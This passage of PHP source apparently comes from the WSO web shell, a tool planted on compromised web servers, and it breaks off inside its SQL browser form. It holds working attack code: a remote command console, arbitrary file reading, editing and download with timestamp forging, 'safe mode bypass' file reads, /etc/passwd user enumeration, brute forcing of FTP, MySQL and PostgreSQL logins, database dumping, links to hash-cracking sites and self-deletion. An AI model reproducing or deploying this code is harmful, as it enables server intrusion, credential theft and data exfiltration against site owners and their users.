  1141. echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  1142. echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  1143. wsoFooter();
  1144. }
  1145.  
  1146. function actionStringTools() {
  1147. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  1148. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  1149. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  1150. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  1151. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  1152. $stringTools = array(
  1153. 'Base64 encode' => 'base64_encode',
  1154. 'Base64 decode' => 'base64_decode',
  1155. 'Url encode' => 'urlencode',
  1156. 'Url decode' => 'urldecode',
  1157. 'Full urlencode' => 'full_urlencode',
  1158. 'md5 hash' => 'md5',
  1159. 'sha1 hash' => 'sha1',
  1160. 'crypt' => 'crypt',
  1161. 'CRC32' => 'crc32',
  1162. 'ASCII to HEX' => 'ascii2hex',
  1163. 'HEX to ASCII' => 'hex2ascii',
  1164. 'HEX to DEC' => 'hexdec',
  1165. 'HEX to BIN' => 'hex2bin',
  1166. 'DEC to HEX' => 'dechex',
  1167. 'DEC to BIN' => 'decbin',
  1168. 'BIN to HEX' => 'binhex',
  1169. 'BIN to DEC' => 'bindec',
  1170. 'String to lower case' => 'strtolower',
  1171. 'String to upper case' => 'strtoupper',
  1172. 'Htmlspecialchars' => 'htmlspecialchars',
  1173. 'String length' => 'strlen',
  1174. );
  1175. if(isset($_POST['ajax'])) {
  1176. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1177. ob_start();
  1178. if(in_array($_POST['p1'], $stringTools))
  1179. echo $_POST['p1']($_POST['p2']);
  1180. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  1181. echo strlen($temp), "\n", $temp;
  1182. exit;
  1183. }
  1184. wsoHeader();
  1185. echo '<h1>String conversions</h1><div class=content>';
  1186. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1187. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1188. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  1189. foreach($stringTools as $k => $v)
  1190. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1191. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1192. if(!empty($_POST['p1'])) {
  1193. if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1194. }
  1195. echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
  1196.  
  1197. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  1198. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  1199. <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  1200. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  1201. <tr><td></td><td><input type='submit' value='>>'></td></tr>
  1202. </table></form>";
  1203.  
  1204. function wsoRecursiveGlob($path) {
  1205. if(substr($path, -1) != '/')
  1206. $path.='/';
  1207. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  1208. if(is_array($paths)&&@count($paths)) {
  1209. foreach($paths as $item) {
  1210. if(@is_dir($item)){
  1211. if($path!=$item)
  1212. wsoRecursiveGlob($item);
  1213. } else {
  1214. if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
  1215. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
  1216. }
  1217. }
  1218. }
  1219. }
  1220. if(@$_POST['p3'])
  1221. wsoRecursiveGlob($_POST['c']);
  1222. echo "</div><br><h1>Search for hash:</h1><div class=content>
  1223.  
  1224. <form method='post' target='_blank' name='hf'>
  1225. <input type='text' name='hash' style='width:200px;'><br>
  1226. <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
  1227. <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
  1228. <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
  1229. <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  1230. <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
  1231. </form></div>";
  1232. wsoFooter();
  1233. }
  1234.  
  1235. function actionFilesTools() {
  1236. if( isset($_POST['p1']) )
  1237. $_POST['p1'] = urldecode($_POST['p1']);
  1238. if(@$_POST['p2']=='download') {
  1239. if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  1240. ob_start("ob_gzhandler", 4096);
  1241. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  1242. if (function_exists("mime_content_type")) {
  1243. $type = @mime_content_type($_POST['p1']);
  1244. header("Content-Type: " . $type);
  1245. } else
  1246. header("Content-Type: application/octet-stream");
  1247. $fp = @fopen($_POST['p1'], "r");
  1248. if($fp) {
  1249. while(!@feof($fp))
  1250. echo @fread($fp, 1024);
  1251. fclose($fp);
  1252. }
  1253. }exit;
  1254. }
  1255. if( @$_POST['p2'] == 'mkfile' ) {
  1256. if(!file_exists($_POST['p1'])) {
  1257. $fp = @fopen($_POST['p1'], 'w');
  1258. if($fp) {
  1259. $_POST['p2'] = "edit";
  1260. fclose($fp);
  1261. }
  1262. }
  1263. }
  1264. wsoHeader();
  1265. echo '<h1>File tools</h1><div class=content>';
  1266. if( !file_exists(@$_POST['p1']) ) {
  1267. echo 'File not exists';
  1268. wsoFooter();
  1269. return;
  1270. }
  1271. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  1272. if(!$uid) {
  1273. $uid['name'] = @fileowner($_POST['p1']);
  1274. $gid['name'] = @filegroup($_POST['p1']);
  1275. } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  1276. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  1277. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  1278. if( empty($_POST['p2']) )
  1279. $_POST['p2'] = 'view';
  1280. if( is_file($_POST['p1']) )
  1281. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  1282. else
  1283. $m = array('Chmod', 'Rename', 'Touch');
  1284. foreach($m as $v)
  1285. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  1286. echo '<br><br>';
  1287. switch($_POST['p2']) {
  1288. case 'view':
  1289. echo '<pre class=ml1>';
  1290. $fp = @fopen($_POST['p1'], 'r');
  1291. if($fp) {
  1292. while( !@feof($fp) )
  1293. echo htmlspecialchars(@fread($fp, 1024));
  1294. @fclose($fp);
  1295. }
  1296. echo '</pre>';
  1297. break;
  1298. case 'highlight':
  1299. if( @is_readable($_POST['p1']) ) {
  1300. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  1301. $code = @highlight_file($_POST['p1'],true);
  1302. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  1303. }
  1304. break;
  1305. case 'chmod':
  1306. if( !empty($_POST['p3']) ) {
  1307. $perms = 0;
  1308. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  1309. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  1310. if(!@chmod($_POST['p1'], $perms))
  1311. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  1312. }
  1313. clearstatcache();
  1314. echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  1315. break;
  1316. case 'edit':
  1317. if( !is_writable($_POST['p1'])) {
  1318. echo 'File isn\'t writeable';
  1319. break;
  1320. }
  1321. if( !empty($_POST['p3']) ) {
  1322. $time = @filemtime($_POST['p1']);
  1323. $_POST['p3'] = substr($_POST['p3'],1);
  1324. $fp = @fopen($_POST['p1'],"w");
  1325. if($fp) {
  1326. @fwrite($fp,$_POST['p3']);
  1327. @fclose($fp);
  1328. echo 'Saved!<br><script>p3_="";</script>';
  1329. @touch($_POST['p1'],$time,$time);
  1330. }
  1331. }
  1332. echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  1333. $fp = @fopen($_POST['p1'], 'r');
  1334. if($fp) {
  1335. while( !@feof($fp) )
  1336. echo htmlspecialchars(@fread($fp, 1024));
  1337. @fclose($fp);
  1338. }
  1339. echo '</textarea><input type=submit value=">>"></form>';
  1340. break;
  1341. case 'hexdump':
  1342. $c = @file_get_contents($_POST['p1']);
  1343. $n = 0;
  1344. $h = array('00000000<br>','','');
  1345. $len = strlen($c);
  1346. for ($i=0; $i<$len; ++$i) {
  1347. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  1348. switch ( ord($c[$i]) ) {
  1349. case 0: $h[2] .= ' '; break;
  1350. case 9: $h[2] .= ' '; break;
  1351. case 10: $h[2] .= ' '; break;
  1352. case 13: $h[2] .= ' '; break;
  1353. default: $h[2] .= $c[$i]; break;
  1354. }
  1355. $n++;
  1356. if ($n == 32) {
  1357. $n = 0;
  1358. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  1359. $h[1] .= '<br>';
  1360. $h[2] .= "\n";
  1361. }
  1362. }
  1363. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  1364. break;
  1365. case 'rename':
  1366. if( !empty($_POST['p3']) ) {
  1367. if(!@rename($_POST['p1'], $_POST['p3']))
  1368. echo 'Can\'t rename!<br>';
  1369. else
  1370. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  1371. }
  1372. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  1373. break;
  1374. case 'touch':
  1375. if( !empty($_POST['p3']) ) {
  1376. $time = strtotime($_POST['p3']);
  1377. if($time) {
  1378. if(!touch($_POST['p1'],$time,$time))
  1379. echo 'Fail!';
  1380. else
  1381. echo 'Touched!';
  1382. } else echo 'Bad time format!';
  1383. }
  1384. clearstatcache();
  1385. echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  1386. break;
  1387. }
  1388. echo '</div>';
  1389. wsoFooter();
  1390. }
  1391.  
  1392. function actionSafeMode() {
  1393. $temp='';
  1394. ob_start();
  1395. switch($_POST['p1']) {
  1396. case 1:
  1397. $temp=@tempnam($test, 'cx');
  1398. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1399. echo @file_get_contents($temp);
  1400. unlink($temp);
  1401. } else
  1402. echo 'Sorry... Can\'t open file';
  1403. break;
  1404. case 2:
  1405. $files = glob($_POST['p2'].'*');
  1406. if( is_array($files) )
  1407. foreach ($files as $filename)
  1408. echo $filename."\n";
  1409. break;
  1410. case 3:
  1411. $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
  1412. curl_exec($ch);
  1413. break;
  1414. case 4:
  1415. ini_restore("safe_mode");
  1416. ini_restore("open_basedir");
  1417. include($_POST['p2']);
  1418. break;
  1419. case 5:
  1420. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1421. $uid = @posix_getpwuid($_POST['p2']);
  1422. if ($uid)
  1423. echo join(':',$uid)."\n";
  1424. }
  1425. break;
  1426. }
  1427. $temp = ob_get_clean();
  1428. wsoHeader();
  1429. echo '<h1>Safe mode bypass</h1><div class=content>';
  1430. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  1431. if($temp)
  1432. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
  1433. echo '</div>';
  1434. wsoFooter();
  1435. }
  1436.  
  1437. function actionConsole() {
  1438. if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  1439. $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
  1440. $_POST['p1'] .= ' 2>&1';
  1441. } elseif(!empty($_POST['p1']))
  1442. $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
  1443.  
  1444. if(isset($_POST['ajax'])) {
  1445. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1446. ob_start();
  1447. echo "d.cf.cmd.value='';\n";
  1448. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  1449. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  1450. if(@chdir($match[1])) {
  1451. $GLOBALS['cwd'] = @getcwd();
  1452. echo "c_='".$GLOBALS['cwd']."';";
  1453. }
  1454. }
  1455. echo "d.cf.output.value+='".$temp."';";
  1456. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  1457. $temp = ob_get_clean();
  1458. echo strlen($temp), "\n", $temp;
  1459. exit;
  1460. }
  1461. wsoHeader();
  1462. echo "<script>
  1463. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1464. var cmds = new Array('');
  1465. var cur = 0;
  1466. function kp(e) {
  1467. var n = (window.Event) ? e.which : e.keyCode;
  1468. if(n == 38) {
  1469. cur--;
  1470. if(cur>=0)
  1471. document.cf.cmd.value = cmds[cur];
  1472. else
  1473. cur++;
  1474. } else if(n == 40) {
  1475. cur++;
  1476. if(cur < cmds.length)
  1477. document.cf.cmd.value = cmds[cur];
  1478. else
  1479. cur--;
  1480. }
  1481. }
  1482. function add(cmd) {
  1483. cmds.pop();
  1484. cmds.push(cmd);
  1485. cmds.push('');
  1486. cur = cmds.length-1;
  1487. }
  1488.  
  1489. </script>";
  1490. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  1491. foreach($GLOBALS['aliases'] as $n => $v) {
  1492. if($v == '') {
  1493. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1494. continue;
  1495. }
  1496. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1497. }
  1498. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1499. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1500. echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1501. if(!empty($_POST['p1'])) {
  1502. echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  1503. }
  1504. echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1505. echo '</form></div><script>d.cf.cmd.focus();</script>';
  1506. wsoFooter();
  1507. }
  1508.  
  1509. function actionLogout() {
  1510. session_destroy();
  1511. die('bye!');
  1512. }
  1513.  
  1514. function actionSelfRemove() {
  1515.  
  1516. if($_POST['p1'] == 'yes')
  1517. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1518. die('Shell has been removed');
  1519. else
  1520. echo 'unlink error!';
  1521. if($_POST['p1'] != 'yes')
  1522. wsoHeader();
  1523. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1524. wsoFooter();
  1525. }
  1526.  
  1527. function actionBruteforce() {
  1528. wsoHeader();
  1529. if( isset($_POST['proto']) ) {
  1530. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1531. if( $_POST['proto'] == 'ftp' ) {
  1532. function bruteForce($ip,$port,$login,$pass) {
  1533. $fp = @ftp_connect($ip, $port?$port:21);
  1534. if(!$fp) return false;
  1535. $res = @ftp_login($fp, $login, $pass);
  1536. @ftp_close($fp);
  1537. return $res;
  1538. }
  1539. } elseif( $_POST['proto'] == 'mysql' ) {
  1540. function bruteForce($ip,$port,$login,$pass) {
  1541. $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1542. @mysql_close($res);
  1543. return $res;
  1544. }
  1545. } elseif( $_POST['proto'] == 'pgsql' ) {
  1546. function bruteForce($ip,$port,$login,$pass) {
  1547. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1548. $res = @pg_connect($str);
  1549. @pg_close($res);
  1550. return $res;
  1551. }
  1552. }
  1553. $success = 0;
  1554. $attempts = 0;
  1555. $server = explode(":", $_POST['server']);
  1556. if($_POST['type'] == 1) {
  1557. $temp = @file('/etc/passwd');
  1558. if( is_array($temp) )
  1559. foreach($temp as $line) {
  1560. $line = explode(":", $line);
  1561. ++$attempts;
  1562. if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1563. $success++;
  1564. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1565. }
  1566. if(@$_POST['reverse']) {
  1567. $tmp = "";
  1568. for($i=strlen($line[0])-1; $i>=0; --$i)
  1569. $tmp .= $line[0][$i];
  1570. ++$attempts;
  1571. if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1572. $success++;
  1573. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1574. }
  1575. }
  1576. }
  1577. } elseif($_POST['type'] == 2) {
  1578. $temp = @file($_POST['dict']);
  1579. if( is_array($temp) )
  1580. foreach($temp as $line) {
  1581. $line = trim($line);
  1582. ++$attempts;
  1583. if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1584. $success++;
  1585. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1586. }
  1587. }
  1588. }
  1589. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1590. }
  1591. echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1592. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1593. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1594. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1595. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1596. .'<span>Server:port</span></td>'
  1597. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1598. .'<tr><td><span>Brute type</span></td>'
  1599. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1600. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1601. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1602. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1603. .'<td><input type=text name=login value="root"></td></tr>'
  1604. .'<tr><td><span>Dictionary</span></td>'
  1605. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1606. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1607. echo '</div><br>';
  1608. wsoFooter();
  1609. }
  1610.  
  1611. function actionSql() {
  1612. class DbClass {
  1613. var $type;
  1614. var $link;
  1615. var $res;
  1616. function DbClass($type) {
  1617. $this->type = $type;
  1618. }
  1619. function connect($host, $user, $pass, $dbname){
  1620. switch($this->type) {
  1621. case 'mysql':
  1622. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1623. break;
  1624. case 'pgsql':
  1625. $host = explode(':', $host);
  1626. if(!$host[1]) $host[1]=5432;
  1627. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1628. break;
  1629. }
  1630. return false;
  1631. }
  1632. function selectdb($db) {
  1633. switch($this->type) {
  1634. case 'mysql':
  1635. if (@mysql_select_db($db))return true;
  1636. break;
  1637. }
  1638. return false;
  1639. }
  1640. function query($str) {
  1641. switch($this->type) {
  1642. case 'mysql':
  1643. return $this->res = @mysql_query($str);
  1644. break;
  1645. case 'pgsql':
  1646. return $this->res = @pg_query($this->link,$str);
  1647. break;
  1648. }
  1649. return false;
  1650. }
  1651. function fetch() {
  1652. $res = func_num_args()?func_get_arg(0):$this->res;
  1653. switch($this->type) {
  1654. case 'mysql':
  1655. return @mysql_fetch_assoc($res);
  1656. break;
  1657. case 'pgsql':
  1658. return @pg_fetch_assoc($res);
  1659. break;
  1660. }
  1661. return false;
  1662. }
  1663. function listDbs() {
  1664. switch($this->type) {
  1665. case 'mysql':
  1666. return $this->query("SHOW databases");
  1667. break;
  1668. case 'pgsql':
  1669. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1670. break;
  1671. }
  1672. return false;
  1673. }
  1674. function listTables() {
  1675. switch($this->type) {
  1676. case 'mysql':
  1677. return $this->res = $this->query('SHOW TABLES');
  1678. break;
  1679. case 'pgsql':
  1680. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1681. break;
  1682. }
  1683. return false;
  1684. }
  1685. function error() {
  1686. switch($this->type) {
  1687. case 'mysql':
  1688. return @mysql_error();
  1689. break;
  1690. case 'pgsql':
  1691. return @pg_last_error();
  1692. break;
  1693. }
  1694. return false;
  1695. }
  1696. function setCharset($str) {
  1697. switch($this->type) {
  1698. case 'mysql':
  1699. if(function_exists('mysql_set_charset'))
  1700. return @mysql_set_charset($str, $this->link);
  1701. else
  1702. $this->query('SET CHARSET '.$str);
  1703. break;
  1704. case 'pgsql':
  1705. return @pg_set_client_encoding($this->link, $str);
  1706. break;
  1707. }
  1708. return false;
  1709. }
  1710. function loadFile($str) {
  1711. switch($this->type) {
  1712. case 'mysql':
  1713. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1714. break;
  1715. case 'pgsql':
  1716. $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1717. $r=array();
  1718. while($i=$this->fetch())
  1719. $r[] = $i['file'];
  1720. $this->query('drop table wso2');
  1721. return array('file'=>implode("\n",$r));
  1722. break;
  1723. }
  1724. return false;
  1725. }
  1726. function dump($table, $fp = false) {
  1727. switch($this->type) {
  1728. case 'mysql':
  1729. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1730. $create = mysql_fetch_array($res);
  1731. $sql = $create[1].";\n";
  1732. if($fp) fwrite($fp, $sql); else echo($sql);
  1733. $this->query('SELECT * FROM `'.$table.'`');
  1734. $head = true;
  1735. while($item = $this->fetch()) {
  1736. $columns = array();
  1737. foreach($item as $k=>$v) {
  1738. if($v == null)
  1739. $item[$k] = "NULL";
  1740. elseif(is_numeric($v))
  1741. $item[$k] = $v;
  1742. else
  1743. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1744. $columns[] = "`".$k."`";
  1745. }
  1746. if($head) {
  1747. $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1748. $head = false;
  1749. } else
  1750. $sql = "\n\t,(".implode(", ", $item).')';
  1751. if($fp) fwrite($fp, $sql); else echo($sql);
  1752. }
  1753. if(!$head)
  1754. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1755. break;
  1756. case 'pgsql':
  1757. $this->query('SELECT * FROM '.$table);
  1758. while($item = $this->fetch()) {
  1759. $columns = array();
  1760. foreach($item as $k=>$v) {
  1761. $item[$k] = "'".addslashes($v)."'";
  1762. $columns[] = $k;
  1763. }
  1764. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1765. if($fp) fwrite($fp, $sql); else echo($sql);
  1766. }
  1767. break;
  1768. }
  1769. return false;
  1770. }
  1771. };
  1772. $db = new DbClass($_POST['type']);
  1773. if(@$_POST['p2']=='download') {
  1774. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1775. $db->selectdb($_POST['sql_base']);
  1776. switch($_POST['charset']) {
  1777. case "Windows-1251": $db->setCharset('cp1251'); break;
  1778. case "UTF-8": $db->setCharset('utf8'); break;
  1779. case "KOI8-R": $db->setCharset('koi8r'); break;
  1780. case "KOI8-U": $db->setCharset('koi8u'); break;
  1781. case "cp866": $db->setCharset('cp866'); break;
  1782. }
  1783. if(empty($_POST['file'])) {
  1784. ob_start("ob_gzhandler", 4096);
  1785. header("Content-Disposition: attachment; filename=dump.sql");
  1786. header("Content-Type: text/plain");
  1787. foreach($_POST['tbl'] as $v)
  1788. $db->dump($v);
  1789. exit;
  1790. } elseif($fp = @fopen($_POST['file'], 'w')) {
  1791. foreach($_POST['tbl'] as $v)
  1792. $db->dump($v, $fp);
  1793. fclose($fp);
  1794. unset($_POST['p2']);
  1795. } else
  1796. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1797. }
  1798. wsoHeader();
  1799. echo "
  1800.  
  1801. <h1>Sql browser</h1><div class=content>
  1802. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1803. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1804. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
